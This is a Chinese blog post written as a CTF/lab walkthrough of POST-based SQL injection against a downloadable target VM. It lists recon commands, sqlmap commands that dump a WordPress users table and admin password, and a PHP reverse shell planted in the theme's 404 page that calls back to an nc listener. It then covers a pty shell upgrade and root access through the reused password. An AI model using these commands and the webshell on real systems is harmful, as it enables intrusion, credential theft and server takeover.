sql注入-post篇

打CTF比赛的时候,sql注入算是比较常见的题型,今天来记录一下基于靶机的post注入。

准备工作

靶机下载:
链接:https://pan.baidu.com/s/1o8-25n0LtDTk2w_SgOT2og
提取码:zlqz

漏洞复现过程

  1. 使用netdiscover发现存活主机
netdidscover -i eth0

在这里插入图片描述

  1. 使用nmap进行主机服务检测
  • 发现目标主机开放了80、8080等端口
    在这里插入图片描述
  1. 使用nikto进行信息收集
nikto -host http://192.168.101.34
  • 分别对80端口和8080端口进行信息收集,在80端口上发现phpmyadmin和login.php文件,8080端口上没有搜索到有用的信息,其中login.php页面可能存在sql注入漏洞
    在这里插入图片描述
    在这里插入图片描述
  1. 再使用dirb进行网站子目录的挖掘
dirb http://192.168.101.34
dirb http://192.168.101.34:8080
  • 发现wordpress的后台登录系统(8080)和login.php页面(80)
    在这里插入图片描述
    在这里插入图片描述
  1. 使用burpsuite进行抓包,用户名输入admin,密码随意。并将文件保存为request.raw

  2. 使用sqlmap进行数据库信息的爆破
    先查询数据库信息

sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch

参数说明:
-r:可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。
–level:设置测试等级,最高为5
–risk:风险,值越高,数据就越有可能被篡改
–dbs:列出找到的数据库名称
–dbms:设置当前网站的后台数据库
–batch:批处理,使用默认的选项进行注入,无需用户输入和交互
–dump:导出指定数据表中的内容
–tables:列出爆破的表结构
-C:数据库的列名
-D:对应的数据库
-T:指定对应的数据表

  • 获取到7个对应的数据库,其中就包含wordpress8080的数据库
    在这里插入图片描述

  • 使用如下命令对表名进行爆破

sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch
  • 找到wordpress库中有一张users表
    在这里插入图片描述
  • 再进一步对表的值进行爆破,查找到admin的密码,并使用该密码登录wordpress的后台(http://靶机IP:8080/wordpress/wp-login.php)
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbms mysql --batch

在这里插入图片描述

  1. 使用shellcode植入后台404页面(Appearance的editor),使其能反弹webshell,之前笔者在SMB服务泄露中是使用msfvenom命令生成一个php的shellcode代码并植入。今天使用另外一个方法植入恶意代码。
  • 进入kali的/usr/share/webshells/php目录中
  • 拷贝php-reverse-shell.php文件到桌面
cd /usr/share/webshells/php
cp php-reverse-shell.php /root/Desktop
cd /root/Desktop
  • 将文件内的IP地址更改为本机ip,端口更改为4444
    在这里插入图片描述
  • 将php-reverse-shell.php的内容复制到404页面中
    在这里插入图片描述
  • 侦听4444端口
nc -nlvp 4444
  • 访问链接:http://靶机IP:8080/wordpress/wp-content/themes/twentythirteen/404.php,webshell反弹
    在这里插入图片描述
  1. 优化终端并查看对应权限
python -c "import pty; pty.spawn('/bin/bash')"
su - root
  • 尝试提权时,发现需要输入密码,空密码尝试失败。分别查看/etc/passwd和/etc/shadow文件收集用户名信息,但是并不能找到有用的信息。
    在这里插入图片描述
  • 最终尝试使用admin的密码尝试提权,提权成功
    在这里插入图片描述

总结:post注入是通过对输入框进行传参,可以被带入数据库进行的查询。注入的两个条件:1.用户可以控制传参,2.用户输入的语句被带入数据库进行查询

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值